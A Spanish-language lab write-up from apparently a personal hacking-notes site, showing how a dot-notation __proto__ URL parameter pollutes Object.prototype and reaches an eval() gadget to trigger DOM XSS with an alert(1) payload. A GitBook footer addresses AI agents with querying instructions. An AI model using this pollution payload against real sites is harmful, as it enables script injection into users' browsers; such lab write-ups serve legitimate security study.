> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md).

# XSS DOM mediante un vector alternativo de Prototype Pollution

### XSS DOM mediante un vector alternativo de contaminación del prototipo

#### Contexto del laboratorio

La aplicación ejecuta JavaScript en el navegador y construye ciertos objetos a partir de la configuración de la URL. El objetivo es **contaminar `Object.prototype`** (es decir, inyectar una propiedad que será heredada por otros objetos), y luego encontrar un \*\*

#### Análisis del origen de la contaminación

**Prueba inicial (no funciona)**

La primera prueba es inyectar una propiedad mediante la URL:

<pre class="language-javascript"><code class="lang-javascript"><strong>/?__proto__[foo]=bar
</strong></code></pre>

Después de comprobar la consola:

```javascript
console.log({}.foo)
```

El resultado es `undefined`, y no aparece ninguna propiedad en `Object.prototype`.

<figure><img src="/files/4c3c9b6cba7edb5e911a4b18bfe2d02c895b069d" alt="" width="563"><figcaption></figcaption></figure>

Conclusión: El analizador de parámetros usado por la aplicación \*\* no maneja la notación con corchetes\*\* para `__proto__`.

```javascript
Object.prototype
```

<figure><img src="/files/002cbca33161f0cb094b7633a708086823047232" alt=""><figcaption></figcaption></figure>

**Vector alternativo que funciona**

Usando una notación con un punto:

```javascript
?__proto__.foo=bar
```

Esta vez:

```javascript
console.log({}.foo)
```

Devuelve correctamente `bar`.

<figure><img src="/files/398b40c43e5a4144adbf3f14d222bc945a5b2b1d" alt="" width="563"><figcaption></figcaption></figure>

`Object.prototype` la contaminación funciona con este formato, lo que indica que el analizador acepta `__proto__.key` notación.

#### Identificación del gadget

El `searchLoggerAlternative.js` contiene el siguiente código:

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);
```

Puntos clave:

* `manager.sequence` puede heredarse de `Object.prototype`.
* Su valor se integra **directamente en una cadena pasada a `eval()`**.
* No se realiza ninguna validación del tipo ni del contenido.

`eval()` es por tanto un **gadget explotable**.

#### Explotación

El `sequence` la propiedad se contamina en el prototipo global:

```javascript
?__proto__.sequence=alert(1) -
```

Conducta:

* `manager.sequence` recupera el valor contaminado de `Object.prototype`.
* El `a + 1` la operación convierte la cadena en `alert(1) -1`.
* Este valor se inyecta en la cadena ejecutada por `eval()`.

Resultado:

* `alert(1)` se ejecuta al cargar la página.
* El **El XSS DOM se activa correctamente**.

<figure><img src="/files/2bc4b7b48441604093222f0a9390a6033ac0e540" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/dom-xss-via-alternative-prototype-pollution-vector.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
